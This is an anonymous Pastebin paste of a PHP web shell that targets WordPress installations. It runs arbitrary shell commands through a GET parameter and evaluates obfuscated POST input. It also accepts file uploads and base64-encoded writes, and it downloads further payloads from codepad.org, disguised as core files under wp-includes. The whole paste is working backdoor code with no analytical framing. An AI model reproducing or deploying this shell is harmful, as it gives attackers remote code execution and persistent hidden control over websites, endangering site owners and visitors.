SHARE
TWEET

Untitled

a guest Mar 2nd, 2016 87 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //error_reporting(0);
  3. if(isset($_GET['test']) && $_GET['test']){
  4.     echo 261000;
  5. //    $PHP_SELF = basename(__FILE__);
  6. //    rename($PHP_SELF,'new_'.$PHP_SELF);
  7. }elseif(isset($_GET['info']) && $_GET['info']){
  8.     echo phpinfo();
  9. }elseif(isset($_GET['eval']) && $_GET['eval']){
  10.     $qV = "stop_";
  11.     $s20 = strtoupper($qV[4] . $qV[3] . $qV[2] . $qV[0] . $qV[1]);
  12.     if (isset(${$s20}['dak'])) {
  13.         eval(${$s20}['dak']);
  14.     }
  15. }elseif(isset($_GET['go']) && $_GET['go']){
  16.     $n = substr_count(substr(dirname(__FILE__),intval(strpos(dirname(__FILE__),'wp-content'))), "/");
  17.     $path_pre = str_repeat('../',$n+1);
  18.     $in_path = $path_pre.'wp-includes/';
  19.     if(@file_put_contents($in_path.'media-bak.php',@file_get_contents('http://codepad.org/Uk6hqTZe/raw.php'))){
  20.         echo '|YS[dak]';
  21.     }else{
  22.         echo '|YF';
  23.     }
  24.     if(@file_put_contents($in_path.'class-wp-upgrade.php',@file_get_contents('http://codepad.org/v6xhqhy7/raw.php'))){
  25.         echo '|DS[wso]';
  26.     }else{
  27.         echo '|DF';
  28.     }
  29.     if(@file_put_contents($in_path.'class-wp-upload.php',@file_get_contents('http://codepad.org/ZSvhCPZE/raw.php'))){
  30.         echo '|XS';
  31.     }else{
  32.         echo '|XF';
  33.     }
  34. }else{
  35.     $path = isset($_POST['path'])?$_POST['path']:dirname(__FILE__);
  36.     if($_POST['url']){
  37.         foreach($_POST['url'] as $url){
  38.             $filename = $url['name'];
  39. //            $link = $url['link'];
  40.             $con = $url['con'];
  41.             if($a = @file_put_contents($path.$filename,base64_decode($con))){
  42.                 echo '|'.$filename.' success';
  43.             }else{
  44.                 if($a = @file_put_contents($filename,base64_decode($con))){
  45.                     echo '|ThisPath-'.$filename.' success';
  46.                 }else{
  47.                     echo '|'.$filename.' fail';
  48.                 }
  49. //                echo '|'.$filename.' fail';
  50.             }
  51.         }
  52.         $PHP_SELF = basename(__FILE__);
  53.         rename($PHP_SELF,'new_up.php');
  54.     }else{
  55.         $c=$_GET['cmd'];
  56.         system($c);
  57.         $p=$_SERVER["DOCUMENT_ROOT"];
  58.         $yoco=dirname(__FILE__);
  59.         echo <<<HTML
  60.     <form enctype="multipart/form-data"  method="POST">
  61.     Path:$p<br>
  62.     <input name="file" type="file"><br>
  63.     ΔΏ±κ:<br>
  64.     <input size="48" value="$yoco/" name="pt" type="text"><br>
  65.     <input type="submit" value="Upload">
  66.     $tend
  67. HTML;
  68.         if (isset($_POST["pt"])){
  69.             $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
  70.             if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
  71.             if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
  72.                 echo"uploaded:$uploadfilen";
  73.                 echo"Size:".$_FILES["file"]["size"]."n";
  74.             }else {
  75.                 print "Error:n";
  76.             }
  77.         }
  78.     }
  79. }
  80. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top